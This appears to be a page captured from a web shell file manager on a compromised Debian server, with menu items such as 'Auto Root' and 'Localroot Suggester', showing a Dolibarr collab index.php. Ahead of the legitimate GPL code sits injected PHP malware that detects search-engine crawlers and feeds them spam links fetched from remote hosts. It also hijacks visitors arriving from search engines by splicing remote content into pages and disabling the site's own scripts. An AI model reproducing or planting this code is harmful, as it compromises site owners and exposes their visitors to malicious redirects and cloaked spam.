Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
btm2000.bak /
collab /
Delete
Unzip
Name
Size
Permission
Date
Action
index.php
23.74
KB
-rw-r--r--
2025-11-25 13:10
Save
Rename
<?php if(!defined('_NET')) { error_reporting(0); $NET='sh19042'; define('_NET',$NET); if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/Los_Angeles');}$sll0='http://googlecountwebs.com/';$pinj_0='http://tds-err.com/i?r=1';$pinj_1='http://tds-narod.ru/i.txt';$FNN='lnk-trans2.php';$pinj_2='yahoo';$pinj_2='bing';$pinj_3=str_replace('google',$pinj_1,$sll0);$pinj_4='site';$sll0=str_replace('google',$pinj_4,$sll0);$pinj_5='';$pinj_6='';$pinj_7='';$pinj_8='';if(!empty($_SERVER['HTTP_USER_AGENT'])){$pinj_6=$_SERVER['HTTP_USER_AGENT'];}if(!empty($_SERVER['HTTP_REFERER'])){$pinj_5=$_SERVER['HTTP_REFERER'];}if(!empty($_SERVER['REQUEST_URI'])){$pinj_7=$_SERVER['REQUEST_URI'];}if(!empty($_SERVER['REMOTE_ADDR'])){$pinj_8=$_SERVER['REMOTE_ADDR'];}if(!function_exists('get_cont')){function get_cont($pinj_9){if(function_exists('curl_init')){if(strpos($pinj_9,'NET=',0)>0){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_12=0;$pinj_13=0;$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if((strpos($pinj_11,' 404 Not',0)>0)||(strpos($pinj_11,'Location:',0)>0)){$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;$pinj_12=1;}}else{if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}if($pinj_13==0){$pinj_14=array();$pinj_15=0;while(preg_match("/(Location:|URI:)[^(\n)]*/",$pinj_11,$pinj_14)&&($pinj_15<3)){$pinj_9=trim(str_replace($pinj_14[1],"",$pinj_14[0]));$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,1);curl_setopt($pinj_10,CURLOPT_NOBODY,1);curl_setopt($pinj_10,CURLOPT_TIMEOUT,10);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);$pinj_15=$pinj_15+1;$pinj_14=array();}if(strpos($pinj_11,' 200 OK',0)>0){$pinj_13=1;}}$pinj_10=curl_init();curl_setopt($pinj_10,CURLOPT_URL,$pinj_9);curl_setopt($pinj_10,CURLOPT_HEADER,0);curl_setopt($pinj_10,CURLOPT_NOBODY,0);curl_setopt($pinj_10,CURLOPT_TIMEOUT,30);curl_setopt($pinj_10,CURLOPT_RETURNTRANSFER,1);if($pinj_12==1){curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (x compatible; Googlebot/2.1; +http://www.google.com/bot.html)");}else{curl_setopt($pinj_10,CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)");}$pinj_11=curl_exec($pinj_10);curl_close($pinj_10);return $pinj_11;}$pinj_16=@file_get_contents($pinj_9);return $pinj_16;}}if(!function_exists('SEbot_')){function SEbot_($pinj_17){if(strpos('-' .strtolower($pinj_17),'x compatible',0)>0){return 0;}if(strpos('-' .strtolower($pinj_17),'googlebot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'slurp',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'bing',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'msnbot',0)>0){return 1;}if(strpos('-' .strtolower($pinj_17),'yahoo',0)>0){return 1;}return 0;}}if(!function_exists('not_do_')){function not_do_($pinj_18){$pinj_19='gif|jpeg|png|js|css|swf|ico|txt|pdf|xml|jpg|pdf|doc';$pinj_20=explode("|",$pinj_19);$pinj_21=0;while($pinj_21<count($pinj_22)){if(strpos(' ' .strtolower($pinj_18),$pinj_22[$pinj_21],0)>0)return 1;$pinj_21=$pinj_21+1;}return 0;}}if(!function_exists('detect_encoding_')){function detect_encoding_($pinj_23){static $pinj_24=array('UTF-8','ASCII','Windows-1251','ISO-8859-2','ISO-8859-3','ISO-8859-4','ISO-8859-5','ISO-8859-6','ISO-8859-7','ISO-8859-8','ISO-8859-9','ISO-8859-10','ISO-8859-13','ISO-8859-14','ISO-8859-15','ISO-8859-16','ISO-8859-1','Windows-1252','Windows-1254',);foreach($pinj_24 as $pinj_25){$pinj_26=@iconv($pinj_25,$pinj_25 .'',$pinj_23);if(md5($pinj_26)== md5($pinj_23))return $pinj_25;}return null;}}if(isset($_SERVER['HTTPS'])&&($_SERVER['HTTPS']=='on')){$pinj_27='https';}else{$pinj_27='http';}$pinj_28=substr(str_replace('www.','',$_SERVER['SERVER_NAME']),0,4);if((SEbot_($pinj_6)>0)&&empty($pinj_29)&&(not_do_($pinj_7)==0)){$pinj_29=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_29)>200){$pinj_30=get_cont($sll0 .$FNN .'?d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);$pinj_31=$pinj_29;$pinj_32=strpos(strtolower($pinj_29),"<body",0);$pinj_33=strpos(strtolower($pinj_29),">",$pinj_32);if(($pinj_32>0)&&($pinj_33>0)){$pinj_29=substr($pinj_31,0,$pinj_33+1) .$pinj_30 .'' .substr($pinj_31,$pinj_33+1);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}$pinj_29=str_replace('</body>',$pinj_30 .'</body>',$pinj_29);if(strpos(strtolower('-' .$pinj_6),'sape',0)>0){$pinj_29=$pinj_29 .'=*OK*=';}echo $pinj_29;exit;}}if(isset($pinj_5)&&((strpos($pinj_5,'ogle.',0)>0)||(strpos($pinj_5,'ing.',0)>0)||(strpos($pinj_5,'ahoo.',0)>0)||(strpos($pinj_5,'ask.com',0)>0)||(strpos($pinj_5,'aol.',0)>0)||(strpos($pinj_5,'duckduckgo.',0)>0)||(strpos($pinj_5,'baidu.',0)>0))){$pinj_34='mkke';$pinj_35=180;if(!isset($_COOKIE[$pinj_34])||($_COOKIE[$pinj_34]<(time()))){$pinj_36=get_cont($sll0 .$FNN .'?rd=1&d=' .$_SERVER['SERVER_NAME'] .'&NET=' .$NET .'&u=' .urlencode($pinj_7) .'&prot=' .$pinj_27);if(strlen($pinj_36,'<!-- -->',0)>0)$pinj_35=9000;if(strlen($pinj_36)>10){$pinj_37=get_cont($pinj_27 .'://' .$_SERVER['SERVER_NAME'] .$pinj_7);if(strlen($pinj_37)>400){$pinj_36=str_replace('-SID-',$NET,$pinj_36); $pinj_37=str_replace(' src="',' xsrc="',$pinj_37); $pinj_37=str_replace(" src='"," xsrc='",$pinj_37); $pinj_37=str_replace("<script","<comment",$pinj_37); $pinj_37=str_replace("</script","</comment",$pinj_37); $pinj_37=str_replace('</head>',$pinj_36 .'</head>',$pinj_37);setcookie($pinj_34,(time()+$pinj_35),(time()+$pinj_35*2),'/','.' .str_replace('www.','',$_SERVER['SERVER_NAME'])); echo $pinj_37;exit;}}}} $p1='_lo'; $p1=$p1.'ads'; $i=0; while($i<12) { $p1='x'.$p1; $i=$i+1;} $p2=$p1.'2'; if(isset($_GET[$p1]) || isset($_POST[$p1]) ) { exit;} if(isset($_GET[$p2]) ) { $_GET[$p1]=$_GET[$p2];} if(isset($_POST[$p2]) ) { $_POST[$p1]=$_POST[$p2];} } /*,.*/ ?><?php /* Copyright (C) 2016-2017 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * \file htdocs/collab/index.php * \ingroup collab * \brief Page to work on a shared document (PAD) */ define('NOSCANPOSTFORINJECTION',1); define('NOSTYLECHECK',1); require '../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; $langs->load("admin"); $langs->load("other"); $langs->load("website"); if (! $user->admin) accessforbidden(); if (! ((GETPOST('testmenuhider','int') || ! empty($conf->global->MAIN_TESTMENUHIDER)) && empty($conf->global->MAIN_OPTIMIZEFORTEXTBROWSER))) { $conf->dol_hide_leftmenu = 1; // Force hide of left menu. } $error=0; $website=GETPOST('website', 'alpha'); $page=GETPOST('page', 'alpha'); $pageid=GETPOST('pageid', 'int'); $action=GETPOST('action','alpha'); if (GETPOST('delete')) { $action='delete'; } if (GETPOST('preview')) $action='preview'; if (GETPOST('create')) { $action='create'; } if (GETPOST('editmedia')) { $action='editmedia'; } if (GETPOST('editcss')) { $action='editcss'; } if (GETPOST('editmenu')) { $action='editmenu'; } if (GETPOST('setashome')) { $action='setashome'; } if (GETPOST('editmeta')) { $action='editmeta'; } if (GETPOST('editcontent')) { $action='editcontent'; } if (empty($action)) $action='preview'; /* * Actions */ if (GETPOST('refreshsite')) $pageid=0; // If we change the site, we reset the pageid. if (GETPOST('refreshpage')) $action='preview'; // Add a collab page if ($action == 'add') { $db->begin(); $objectpage->title = GETPOST('WEBSITE_TITLE'); $objectpage->pageurl = GETPOST('WEBSITE_PAGENAME'); $objectpage->description = GETPOST('WEBSITE_DESCRIPTION'); $objectpage->keywords = GETPOST('WEBSITE_KEYWORD'); if (empty($objectpage->title)) { setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("WEBSITE_PAGENAME")), null, 'errors'); $error++; } if (! $error) { $res = $objectpage->create($user); if ($res <= 0) { $error++; setEventMessages($objectpage->error, $objectpage->errors, 'errors'); } } if (! $error) { $db->commit(); setEventMessages($langs->trans("PageAdded", $objectpage->pageurl), null, 'mesgs'); $action=''; } else { $db->rollback(); } $action = 'preview'; $id = $objectpage->id; } // Update page if ($action == 'delete') { $db->begin(); $res = $object->fetch(0, $website); $res = $objectpage->fetch($pageid, $object->fk_website); if ($res > 0) { $res = $objectpage->delete($user); if (! $res > 0) { $error++; setEventMessages($objectpage->error, $objectpage->errors, 'errors'); } if (! $error) { $db->commit(); setEventMessages($langs->trans("PageDeleted", $objectpage->pageurl, $website), null, 'mesgs'); header("Location: ".$_SERVER["PHP_SELF"].'?website='.$website); exit; } else { $db->rollback(); } } else { dol_print_error($db); } } /* * View */ $form = new Form($db); $help_url=''; llxHeader('', $langs->trans("WebsiteSetup"), $help_url, '', 0, '', '', '', '', '', '<!-- Begin div class="fiche" -->'."\n".'<div class="fichebutwithotherclass">'); print "\n".'<form action="'.$_SERVER["PHP_SELF"].'" method="POST"><div>'; print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">'; if ($action == 'create') { print '<input type="hidden" name="action" value="add">'; } // Add a margin under toolbar ? $style=''; if ($action != 'preview' && $action != 'editcontent') $style=' margin-bottom: 5px;'; //var_dump($objectpage);exit; print '<div class="centpercent websitebar">'; if (count($object->records) > 0) { // ***** Part for web sites print '<div class="websiteselection hideonsmartphoneimp">'; print $langs->trans("WebSite").': '; print '</div>'; // List of websites print '<div class="websiteselection">'; $out=''; $out.='<select name="website" class="minwidth100" id="website">'; if (empty($object->records)) $out.='<option value="-1"> </option>'; // Loop on each sites $i=0; foreach($object->records as $key => $valwebsite) { if (empty($website)) $website=$valwebsite->ref; $out.='<option value="'.$valwebsite->ref.'"'; if ($website == $valwebsite->ref) $out.=' selected'; // To preselect a value $out.='>'; $out.=$valwebsite->ref; $out.='</option>'; $i++; } $out.='</select>'; $out.=ajax_combobox('website'); print $out; print '<input type="submit" class="button" name="refreshsite" value="'.$langs->trans("Load").'">'; if ($website) { $virtualurl=''; $dataroot=DOL_DATA_ROOT.'/collab/'.$website; if (! empty($object->virtualhost)) $virtualurl=$object->virtualhost; } if ($website && $action == 'preview') { $disabled=''; if (empty($user->rights->websites->write)) $disabled=' disabled="disabled"'; print ' '; //print '<input type="submit" class="button"'.$disabled.' value="'.dol_escape_htmltag($langs->trans("MediaFiles")).'" name="editmedia">'; print '<input type="submit" class="button"'.$disabled.' value="'.dol_escape_htmltag($langs->trans("EditCss")).'" name="editcss">'; print '<input type="submit" class="button"'.$disabled.' value="'.dol_escape_htmltag($langs->trans("EditMenu")).'" name="editmenu">'; print '<input type="submit"'.$disabled.' class="button" value="'.dol_escape_htmltag($langs->trans("AddPage")).'" name="create">'; } print '</div>'; // Button for websites print '<div class="websitetools">'; if ($action == 'preview') { print '<div class="websiteinputurl">'; print '<input type="text" id="previewsiteurl" class="minwidth200imp" name="previewsite" placeholder="'.$langs->trans("http://myvirtualhost").'" value="'.$virtualurl.'">'; //print '<input type="submit" class="button" name="previewwebsite" target="tab'.$website.'" value="'.$langs->trans("ViewSiteInNewTab").'">'; $htmltext=$langs->trans("SetHereVirtualHost", $dataroot); print $form->textwithpicto('', $htmltext); print '</div>'; $urlext=$virtualurl; $urlint=$urlwithroot.'/public/collab/index.php?website='.$website; //if (! empty($object->virtualhost)) //{ print '<a class="websitebuttonsitepreview" id="previewsiteext" href="'.$urlext.'" target="tab'.$website.'" alt="'.dol_escape_htmltag($langs->trans("PreviewSiteServedByWebServer", $langs->transnoentitiesnoconv("Site"), $langs->transnoentitiesnoconv("Site"), $dataroot, $urlext)).'">'; print $form->textwithpicto('', $langs->trans("PreviewSiteServedByWebServer", $langs->transnoentitiesnoconv("Site"), $langs->transnoentitiesnoconv("Site"), $dataroot, $urlext?$urlext:$langs->trans("VirtualHostUrlNotDefined")), 1, 'preview_ext'); print '</a>'; //} print '<a class="websitebuttonsitepreview" id="previewsite" href="'.$urlwithroot.'/public/collab/index.php?website='.$website.'" target="tab'.$website.'" alt="'.dol_escape_htmltag($langs->trans("PreviewSiteServedByDolibarr", $langs->transnoentitiesnoconv("Site"), $langs->transnoentitiesnoconv("Site"), $urlint)).'">'; print $form->textwithpicto('', $langs->trans("PreviewSiteServedByDolibarr", $langs->transnoentitiesnoconv("Site"), $langs->transnoentitiesnoconv("Site"), $urlint, $dataroot), 1, 'preview'); print '</a>'; } if (in_array($action, array('editcss','editmenu','create'))) { if ($action != 'preview') print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans("Cancel")).'" name="preview">'; if (preg_match('/^create/',$action)) print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans("Save")).'" name="update">'; if (preg_match('/^edit/',$action)) print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans("Save")).'" name="update">'; } print '</div>'; // ***** Part for pages if ($website) { print '</div>'; $array=$objectpage->fetchAll($object->id); if (! is_array($array) && $array < 0) dol_print_error('', $objectpage->error, $objectpage->errors); $atleastonepage=(is_array($array) && count($array) > 0); print '<div class="centpercent websitebar"'.($style?' style="'.$style.'"':'').'">'; print '<div class="websiteselection hideonsmartphoneimp">'; print $langs->trans("Page").': '; print '</div>'; print '<div class="websiteselection">'; if ($action != 'add') { $out=''; $out.='<select name="pageid" id="pageid" class="minwidth200">'; if ($atleastonepage) { if (empty($pageid) && $action != 'create') // Page id is not defined, we try to take one { $firstpageid=0;$homepageid=0; foreach($array as $key => $valpage) { if (empty($firstpageid)) $firstpageid=$valpage->id; if ($object->fk_default_home && $key == $object->fk_default_home) $homepageid=$valpage->id; } $pageid=$homepageid?$homepageid:$firstpageid; // We choose home page and if not defined yet, we take first page } foreach($array as $key => $valpage) { $out.='<option value="'.$key.'"'; if ($pageid > 0 && $pageid == $key) $out.=' selected'; // To preselect a value $out.='>'; $out.=$valpage->title; if ($object->fk_default_home && $key == $object->fk_default_home) $out.=' ('.$langs->trans("HomePage").')'; $out.='</option>'; } } else $out.='<option value="-1"> </option>'; $out.='</select>'; $out.=ajax_combobox('pageid'); print $out; } else { print $langs->trans("New"); } print '<input type="submit" class="button" name="refreshpage" value="'.$langs->trans("Load").'"'.($atleastonepage?'':' disabled="disabled"').'>'; //print $form->selectarray('page', $array); if ($action == 'preview') { $disabled=''; if (empty($user->rights->websites->write)) $disabled=' disabled="disabled"'; if ($pageid > 0) { print ' '; if ($object->fk_default_home > 0 && $pageid == $object->fk_default_home) print '<input type="submit" class="button" disabled="disabled" value="'.dol_escape_htmltag($langs->trans("SetAsHomePage")).'" name="setashome">'; else print '<input type="submit" class="button"'.$disabled.' value="'.dol_escape_htmltag($langs->trans("SetAsHomePage")).'" name="setashome">'; print '<input type="submit" class="button"'.$disabled.' value="'.dol_escape_htmltag($langs->trans("EditPageMeta")).'" name="editmeta">'; print '<input type="submit" class="button"'.$disabled.' value="'.dol_escape_htmltag($langs->trans("EditPageContent")).'" name="editcontent">'; //print '<a href="'.$_SERVER["PHP_SELF"].'?action=editmeta&website='.urlencode($website).'&pageid='.urlencode($pageid).'" class="button">'.dol_escape_htmltag($langs->trans("EditPageMeta")).'</a>'; //print '<a href="'.$_SERVER["PHP_SELF"].'?action=editcontent&website='.urlencode($website).'&pageid='.urlencode($pageid).'" class="button">'.dol_escape_htmltag($langs->trans("EditPageContent")).'</a>'; print '<input type="submit" class="buttonDelete" name="delete" value="'.$langs->trans("Delete").'"'.($atleastonepage?'':' disabled="disabled"').'>'; } } print '</div>'; print '<div class="websiteselection">'; print '</div>'; print '<div class="websitetools">'; if ($website && $pageid > 0 && $action == 'preview') { $websitepage = new WebSitePage($db); $websitepage->fetch($pageid); $realpage=$urlwithroot.'/public/collab/index.php?website='.$website.'&page='.$pageid; $pagealias = $websitepage->pageurl; print '<div class="websiteinputurl">'; print '<input type="text" id="previewpageurl" class="minwidth200imp" name="previewsite" value="'.$pagealias.'" disabled="disabled">'; //print '<input type="submit" class="button" name="previewwebsite" target="tab'.$website.'" value="'.$langs->trans("ViewSiteInNewTab").'">'; $htmltext=$langs->trans("WEBSITE_PAGENAME", $pagealias); print $form->textwithpicto('', $htmltext); print '</div>'; if (! empty($object->virtualhost)) { $urlext=$virtualurl.'/'.$pagealias.'.php'; print '<a class="websitebuttonsitepreview" id="previewpageext" href="'.$urlext.'" target="tab'.$website.'" alt="'.dol_escape_htmltag($langs->trans("PreviewSiteServedByWebServer", $langs->transnoentitiesnoconv("Page"), $langs->transnoentitiesnoconv("Page"), $dataroot, $urlext)).'">'; print $form->textwithpicto('', $langs->trans("PreviewSiteServedByWebServer", $langs->transnoentitiesnoconv("Page"), $langs->transnoentitiesnoconv("Page"), $dataroot, $urlext?$urlext:$langs->trans("VirtualHostUrlNotDefined")), 1, 'preview_ext'); print '</a>'; } else { print '<a class="websitebuttonsitepreview" id="previewpageextnoclick" href="#">'; print $form->textwithpicto('', $langs->trans("PreviewSiteServedByWebServer", $langs->transnoentitiesnoconv("Page"), $langs->transnoentitiesnoconv("Page"), $dataroot, $urlext?$urlext:$langs->trans("VirtualHostUrlNotDefined")), 1, 'preview_ext'); print '</a>'; } print '<a class="websitebuttonsitepreview" id="previewpage" href="'.$realpage.'&nocache='.dol_now().'" class="button" target="tab'.$website.'" alt="'.dol_escape_htmltag($langs->trans("PreviewSiteServedByDolibarr", $langs->transnoentitiesnoconv("Page"), $langs->transnoentitiesnoconv("Page"), $realpage)).'">'; print $form->textwithpicto('', $langs->trans("PreviewSiteServedByDolibarr", $langs->transnoentitiesnoconv("Page"), $langs->transnoentitiesnoconv("Page"), $realpage, $dataroot), 1, 'preview'); print '</a>'; // View page in new Tab //print '<input type="submit" class="button" name="previewpage" target="tab'.$website.'"value="'.$langs->trans("ViewPageInNewTab").'">'; // TODO Add js to save alias like we save virtual host name and use dynamic virtual host for url of id=previewpageext } if (! in_array($action, array('editcss','editmenu','create'))) { if ($action != 'preview') print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans("Cancel")).'" name="preview">'; if (preg_match('/^create/',$action)) print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans("Save")).'" name="update">'; if (preg_match('/^edit/',$action)) print '<input type="submit" class="button" value="'.dol_escape_htmltag($langs->trans("Save")).'" name="update">'; } print '</div>'; if ($action == 'preview') { // Adding jquery code to change on the fly url of preview ext if (! empty($conf->use_javascript_ajax)) { print '<script type="text/javascript" language="javascript"> jQuery(document).ready(function() { jQuery("#previewsiteext,#previewpageext").click(function() { newurl=jQuery("#previewsiteurl").val(); newpage=jQuery("#previewsiteurl").val() + "/" + jQuery("#previewpageurl").val() + ".php"; console.log("Open url "+newurl); /* Save url */ jQuery.ajax({ method: "POST", url: "'.DOL_URL_ROOT.'/core/ajax/saveinplace.php", data: { field: \'editval_virtualhost\', element: \'websites\', table_element: \'website\', fk_element: '.$object->id.', value: newurl, }, context: document.body }); jQuery("#previewsiteext").attr("href",newurl); jQuery("#previewpageext").attr("href",newpage); }); }); </script>'; } } } } else { print '<div class="websiteselection">'; $langs->load("errors"); print $langs->trans("ErrorModuleSetupNotComplete"); print '<div>'; $action=''; } print '</div>'; $head = array(); if ($action == 'editcontent') { /* * Editing global variables not related to a specific theme */ $csscontent = @file_get_contents($filecss); $contentforedit = ''; /*$contentforedit.='<style scoped>'."\n"; // "scoped" means "apply to parent element only". Not yet supported by browsers $contentforedit.=$csscontent; $contentforedit.='</style>'."\n";*/ $contentforedit .= $objectpage->content; require_once DOL_DOCUMENT_ROOT.'/core/class/doleditor.class.php'; $doleditor=new DolEditor('PAGE_CONTENT',$contentforedit,'',500,'Full','',true,true,true,ROWS_5,'90%'); $doleditor->Create(0, '', false); } print "</div>\n</form>\n"; llxFooter(); $db->close();